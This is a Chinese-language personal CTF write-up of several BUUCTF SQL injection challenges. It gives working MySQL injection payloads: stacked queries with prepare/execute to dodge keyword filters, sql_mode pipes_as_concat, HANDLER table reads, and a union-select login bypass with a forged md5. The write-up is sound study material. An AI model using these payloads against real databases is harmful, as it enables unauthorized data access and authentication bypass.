0x00 前言
对写过的题的总结,反正应该除了自己也没人会看(虽然自己写完也不看),如果有人看并且想要复现的话,就去BUUCTF吧
0x01 堆叠注入
预处理
题目:[强网杯 2019]随便注
以下为用法示例(MySQL)
prepare foobar from 'select * from yourBrain where yourName = ?;'
set @yourName = idiot;
execute foobar using @yourName;
#或者
set @test 'select * from yourBrain;';
prepare foobar from @test;
execute foobar;
很容易理解,set
就相当于设置一个全局变量,可以当作参数,prepare
相当于把一个查询语句赋值给另一个变量,execute
执行这个语句。
所以这题有如下的payload(其中那些花里胡哨的是为了绕过过滤):
-1';
Set @shell = concat('se','lect * from `1919810931114514`;');
preparE myshell from @shell;
execute myshell;#
或者…我是个傻逼,自己构造不出来别的花里胡哨的payload
sql_mode
题目:[SUCTF 2019]EasySQL(MySQL)
这题需要亿点点想象力,猜到后台查询语句是select $_POST[query] || flag from flag
反正我必不可能猜到
然后如果我们能把||
改成连接符,这个查询语句就会把你的query
和flag
的查询结果连接起来后然后再输出,如果是在Oracele
下,那显然是可以,但是这里是MySQL
,默认情况下,||
是一个运算符
还好MySQL
还有一个sql_mode
的东西可以设置,关于它的更多设置可以查看官方文档
这里我们只需要设置pipes_as_concat
即可
所以我们有如下的payload(这题还花里胡哨有长度限制):
1;set sql_mode=pipes_as_concat;select 1
handler
题目:[GYCTF2020]Blacklist(MySQL)
和强网杯的随便注长得差不多,但是这里过滤的更加严格了,不过我们可以用这个handler
,关于这个的官方解释可以查看官方文档
看不懂英文就随便谷歌或者百度一下吧,具体用法如下
handler foobar open;
handler foobar read first;
handler foobar close;
其中foobar
是个表名,你还可以在close
前接着handler foobar read next
来读下一列
所以这里的payload是1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
其实这里不需要close
,大概随手关闭是个好习惯吧😅
0x02 md5的bypass
md5函数开了可选参数为true
这种情况,我之前写过了,利用神奇的ffifdyop
,详情可以看这篇文篇
利用联合查询返回不存在的数据
题目:[GXYCTF2019]BabySQli
当我们输入如下的查询语句时:
select * from yourBrain where yourName='idiot' union select 1,'wo_shi_shabi';
会返回如下的结果:
yourName | what |
---|---|
idiot | 123 |
1 | wo_shi_shabi |
这题通过一系列操作(懒得写)知道查询语句是select * from user where username = '$name'
然后它后台应该是这样写的
<?php
#$row
#...
if($row['password']==md5($pass)){
echo $flag;
}
?>
所以我们可以使用如下的payload:
name=-1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
name中的的联合查询可以返回那一串md5
值,而它正是123456
的md5
值
下次遇到新的再写